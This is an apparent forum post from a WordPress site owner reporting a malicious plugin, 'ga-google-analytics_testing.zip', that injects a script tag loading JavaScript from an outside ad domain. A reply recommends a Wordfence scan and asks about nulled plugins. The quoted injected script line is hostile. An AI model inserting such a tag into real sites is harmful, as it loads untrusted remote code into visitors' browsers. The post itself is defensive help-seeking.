Malicious Plugin

[ad_1]

Hi all I have a problem, For some reason a malicious plugin, called “ga-google-analytics\_testing.zip” is installed in WordPress for some reason and causing troubles on the website. The plugin injects this script

<script type=’text/javascript’ src='[//pl22636057.profitablegatecpm.com/0d/a8/7f/0da87f13011905ae3d0852f4df3f44ab.js](https://gramercyglobal.slack.com//pl22636057.profitablegatecpm.com/0d/a8/7f/0da87f13011905ae3d0852f4df3f44ab.js)’></script>

Can someone help me understand what may couse this issue and how to protect my websites?

  1. I would start by installing Wordfence and running a scan of your website to see if it picks anything up.

    Are you using nulled / cracked versions of plugins? They would be one of the more likely ways something malicious like this could end up on your website.
